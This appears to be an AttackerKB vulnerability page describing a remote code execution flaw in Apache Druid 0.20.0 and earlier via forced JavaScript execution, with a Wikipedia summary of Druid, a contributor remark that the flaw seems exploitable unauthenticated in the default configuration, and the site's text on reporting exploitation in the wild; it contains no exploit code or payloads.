Description
Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a specially-crafted request that forces Druid to run user-provided JavaScript code for that request, regardless of server configuration. This can be leveraged to execute code on the target machine with the privileges of the Druid server process.

Technical Analysis
From Wikipedia:
Druid is a column-oriented, open-source, distributed data store written in Java. Druid is designed to quickly ingest massive quantities of event data, and provide low-latency queries on top of the data.[1] The name Druid comes from the shapeshifting Druid class in many role-playing games, to reflect the fact that the architecture of the system can shift to solve different types of data problems.
Druid is commonly used in business intelligence/OLAP applications to analyze high volumes of real-time and historical data.[2] Druid is used in production by technology companies such as Alibaba,[2] Airbnb,[2] Cisco,[3][2] eBay,[4] Lyft,[5] Netflix,[6] PayPal,[2] Pinterest,[7] Twitter,[8] Walmart,[9] Wikimedia Foundation[10] and Yahoo.[11]
Contrary to the CVE description, this appears to be both unauthenticated and vulnerable in the default configuration of Apache Druid 0.20.0, at least from Docker?

Report as Exploited in the Wild
What do we mean by "exploited in the wild"?
By selecting this, you are verifying to the AttackerKB community that either you, or a reputable source (example: a security vendor or researcher), has observed an active attempt by attackers, or IOCs related, to exploit this vulnerability outside of a research environment.
A vulnerability should also be considered "exploited in the wild" if there is a publicly available PoC or exploit (example: in an exploitation framework like Metasploit).
